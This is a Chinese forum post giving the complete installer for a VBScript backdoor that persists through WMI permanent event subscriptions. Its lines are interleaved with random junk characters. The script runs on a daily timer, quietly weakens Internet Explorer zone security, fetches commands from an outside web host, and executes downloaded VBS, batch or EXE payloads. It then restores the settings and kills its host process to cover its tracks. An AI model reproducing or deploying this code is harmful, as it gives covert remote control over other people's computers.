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完整的安装脚本代码如下:8 c u# |6 l* U: q, ]
Codz:
' x' O# m" }+ h$ ]3 k3 f'***以下为参数配置,请根据情况自行修改***' & p; t* Z3 P. b% R5 d
nslink="winmgmts:\\.\root\cimv2:" '名字空间'
' ~) ~- U. f! ~! ^9 H cdoorname="vbscript_backdoor" '记住后门的名字,卸载时需要' " F' r" k: S6 [% U U- Q; K2 G
runinterval=86400000 '每天运行一次'
! T7 m5 i8 u1 b& dcmdu="http://myweb.8866.org/cmd.txt" '命令文件的位置'
5 y5 A: T7 S, J, c" G- Dcmdw=4000 '文件下载超时时间'
" k! d G2 N$ d0 p0 A; j( L$ ocmdl="HKLM\SOFTWARE\Microsoft\WBEM\CIMOM\CmdLength" '保存命令长度的键值名'
[: i; k5 s" D8 B9 K'***参数配置结束***' 0 [) a2 G* b$ z Z7 \
2 v; k8 J7 h* u) r: mcreateobject("WScript.Shell").regwrite cmdl,0,"REG_DWORD" ' N4 ^- G% ~+ h
! z# d# N3 ^7 z+ y: B
'脚本后门核心代码' # ^: b/ g$ q% N7 G
stxt="cmdu="""&cmdu&""":cmdw="&cmdw&":cmdl="""&cmdl&""" n error resume next:set shl=createobject(""WScript.Shell""):set aso=createobject(""ADODB.Stream""):set ie=createobject(""InternetExplorer.Application""):zone=""HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3"":set1=zone&""\1201"":set2=zone&""\1400"":set3=zone&""\CurrentLevel"":val1=shl.regread(set1):val2=shl.regread(set2):val3=shl.regread(set3):regd=""REG_DWORD"":shl.regwrite set1,0,regd:shl.regwrite set2,0,regd:shl.regwrite set3,0,regd:ie.visible=0:ie.navigate ""about""&"":blank"":ie.document.write ""<script>function whr(){return new ActiveXObject('WinHttp.WinHttpRequest.5.1')}</script>"":with ie.document.script.whr():.settimeouts cmdw,cmdw,cmdw,cmdw:.open ""GET"",cmdu,true:.send:if not .waitforresponse(cmdw) then die:end if:if .status>299 then die:end if:rt=.responsetext:if len(rt)=shl.regread(cmdl) then die:end if:shl.regwrite cmdl,len(rt),regd:cmds=split(rt,vbcrlf,-1):if ubound(cmds)<1 then die:end if:cmdt=lcase(trim(cmds(0))):aso.type=1:aso.open:cd=shl.currentdirectory&chr(92):select case cmdt:case ""'vbs"":execute(rt):die:case "":bat"":aso.write .responsebody:aso.savetofile cd&""_.bat"",2:aso.close:shl.run chr(34)&cd&""_.bat"""""",0:die:case ""'wsh"":aso.write .responsebody:aso.savetofile cd&""_.vbs"",2:aso.close:shl.run ""cscript.exe """"""&cd&""_.vbs"""""",0:die:case ""exe"":case else die:end select:if ubound(cmds)<4 then die:end if:.open ""GET"",cmds(1),true:.send:if not .waitforresponse(cmds(2)) then die:end if:if .status>299 then die:end if:path=shl.expandenvironmentstrings(cmds(3)):aso.write .responsebody:aso.savetofile path,2:aso.close:shl.run chr(34)&path&"""""" ""&cmds(4),0:end with:die:sub die:ie.quit:shl.regwrite set1,val1,regd:shl.regwrite set2,val2,regd:shl.regwrite set3,val3,regd:for each ps in getobject(""winmgmts:\\.\root\cimv2:win32_process"").instances_:if lcase(ps.name)=""scrcons.exe"" then ps.terminate:end if:next:end sub" , c# `+ n9 ?* A
' Q3 f8 }/ a1 y6 D7 d'配置事件消费者'
4 K9 ~! c) j/ o5 z$ O* C) fset asec=getobject(nslink&"ActiveScriptEventConsumer").spawninstance_ 7 D3 E3 H6 u8 j: D4 \
asec.name=doorname&"_consumer" * |! ]9 u5 k$ x
asec.scriptingengine="vbscript"
2 w& H- t9 D: ^) m" L4 i4 m! xasec.scripttext=stxt - s- O4 m$ z+ K5 s5 a
set asecpath=asec.put_ 5 {/ P, |8 W/ d, K$ n$ k5 O5 m' p. N5 q# d
7 e. \5 }9 E& ?. Q'配置计时器'
1 `% @+ P+ N5 P& h, l0 }set itimer=getobject(nslink&"__IntervalTimerInstruction").spawninstance_ 9 d" m w- I4 a4 k
itimer.timerid=doorname&"_itimer" W6 Q8 D+ |5 r; a8 ?% `( ]- [6 p
itimer.intervalbetweenevents=runinterval / V6 l$ n, I3 ~
itimer.skipifpassed=false
% m7 U' P/ t! o( B7 mitimer.put_ ; s4 Z) N# w, }5 D A$ l k+ ~
5 e/ j9 g2 M9 c+ @2 _/ g9 k
'配置事件过滤器'
- X- W2 D. N, a8 zset evtflt=getobject(nslink&"__EventFilter").spawninstance_
0 F$ ?: f$ g- T* Z+ {) y+ K3 bevtflt.name=doorname&"_filter" ) k1 e+ r+ D' y& O
evtflt.query="select * from __timerevent where timerid="""&doorname&"_itimer""" " a I' |& E0 I. A( x8 Z" l$ _+ H$ o
evtflt.querylanguage="wql" % D/ i" p1 `! M! O4 w$ ?% `- E
set fltpath=evtflt.put_ 0 x. T) T2 c) p; E D
: W% O5 N' I7 S6 ?'绑定消费者和过滤器'
7 w% s/ Q4 q8 \1 {set fcbnd=getobject(nslink&"__FilterToConsumerBinding").spawninstance_
# J B# q2 g+ jfcbnd.consumer=asecpath.path
) T0 a8 l( x$ xfcbnd.filter=fltpath.path * p0 V$ Q) \$ @( S1 y; Z
fcbnd.put_ 1 _% i% F8 j* l/ j" K7 Z6 X; J
* g& I6 U- `2 S! @& ? v k6 \wscript.echo "安装完成"; I! @/ ~/ i& f- X( e+ l* n
3 M5 L5 ^$ w0 f, r5 K5 D, r$ e; ]5 E
与前一个永久事件处理过程不同的是,脚本后门的事件源是计时器,在每个名字空间都可以实例化并触发事件。所以,不一定要将ASEC安装到root\cimv2。特别是XP/2003,ASEC默认已经安装到root\subscription,只需要相应修改nslink的值,就可以安装脚本后门了 |
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